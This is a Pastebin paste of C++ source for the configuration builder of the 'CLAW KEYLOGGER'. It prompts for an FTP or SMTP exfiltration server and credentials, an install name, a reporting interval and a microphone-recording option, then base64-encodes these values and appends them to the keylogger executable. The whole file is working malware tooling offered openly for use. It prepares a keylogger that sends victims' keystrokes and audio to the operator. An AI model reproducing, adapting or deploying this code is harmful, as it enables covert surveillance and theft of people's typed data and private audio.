FlyFar

tests/builder.cpp

Aug 27th, 2023
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.01 KB | Cybersecurity | 0 0
  1. /*
  2.  
  3. Author: Fahad (QuantumCore)
  4.  
  5. https://github.com/quantumcore
  6. https://quantumcored.com
  7.  
  8. builder.cpp (c) 2020
  9.  
  10. CLAW KEYLOGGER
  11. */
  12.  
  13. // C++ Builder for tests.
  14. // Writes information at EOF.
  15.  
  16. #include "base64.h"
  17. #include <iostream>
  18. #include <string>
  19. #include <fstream>
  20. #include <sstream>
  21.  
  22. // Example : ftp:FTPSERVER,FTPUSERNAMEVALUE:FTPPASSWORDVALUE:INSTALLNAME:TIMESLEEPVALUEINMS
  23. // (1) ftp : server, anonymous : anonymous :WindowsTCP : 50000
  24. // (2) smtp : myEmail@pass.com : mypassword : WindowsTCP : 5000
  25.  
  26.  
  27. int main()
  28. {
  29.     std::ofstream outfile;
  30.     std::ostringstream fulval;
  31.     std::string method, demail, dpass, install_location, timeinterval, out, mic;
  32.     std::string server;
  33.     std::cout << "Enter Method (ftp/smtp) : ";
  34.     std::getline(std::cin, method);
  35.  
  36.     if(method == "ftp"){
  37.         std::cout << "Enter FTP Server : ";
  38.         std::getline(std::cin, server);
  39.     }
  40.  
  41.     std::cout << "Enter USERNAME / EMAIL : ";
  42.     std::getline(std::cin, demail);
  43.    
  44.  
  45.     std::cout << "Enter PASSWORD  : ";
  46.     std::getline(std::cin, dpass);
  47.  
  48.     std::cout << "Enter A Name : ";
  49.     std::getline(std::cin, install_location);
  50.  
  51.     std::cout << "Enter Time Interval to receive : ";
  52.     std::getline(std::cin, timeinterval);
  53.  
  54.     std::cout << "Record mic? (1/0) : ";
  55.     std::getline(std::cin, mic);
  56.  
  57.     std::cout << "Claw EXE : ";
  58.     std::getline(std::cin, out);
  59.    
  60.     std::string serveranduser = server + "," + demail;
  61.     if(method == "ftp"){
  62.         fulval << base64_encode(reinterpret_cast<const unsigned char*>(method.c_str()), method.length())  << "[]" << base64_encode(reinterpret_cast<const unsigned char*>(serveranduser.c_str()), serveranduser.length()) << "[]" << base64_encode(reinterpret_cast<const unsigned char*>(dpass.c_str()), dpass.length()) << "[]" << base64_encode(reinterpret_cast<const unsigned char*>(install_location.c_str()), install_location.length()) << "[]" << base64_encode(reinterpret_cast<const unsigned char*>(timeinterval.c_str()), timeinterval.length()) << "[]" << base64_encode(reinterpret_cast<const unsigned char*>(mic.c_str()), mic.length());
  63.     } else {
  64.         fulval << base64_encode(reinterpret_cast<const unsigned char*>(method.c_str()), method.length()) << "[]" << base64_encode(reinterpret_cast<const unsigned char*>(demail.c_str()), demail.length()) << "[]" << base64_encode(reinterpret_cast<const unsigned char*>(dpass.c_str()), dpass.length()) << "[]" << base64_encode(reinterpret_cast<const unsigned char*>(install_location.c_str()), install_location.length()) << "[]" << base64_encode(reinterpret_cast<const unsigned char*>(timeinterval.c_str()), timeinterval.length()) << "[]" <<base64_encode(reinterpret_cast<const unsigned char*>(mic.c_str()), mic.length());
  65.     }
  66.    
  67.     outfile.open(out.c_str(), std::ios::app | std::ios::binary);
  68.     if(outfile.is_open()){
  69.         outfile << "\n\n";  
  70.         outfile << fulval.str().c_str();
  71.         outfile.close();
  72.         std::cout << "Wrote : " << fulval.str().c_str() << " to " << out.c_str() << std::endl;
  73.     }
  74. }
Tags: builder
Add Comment
Please, Sign In to add comment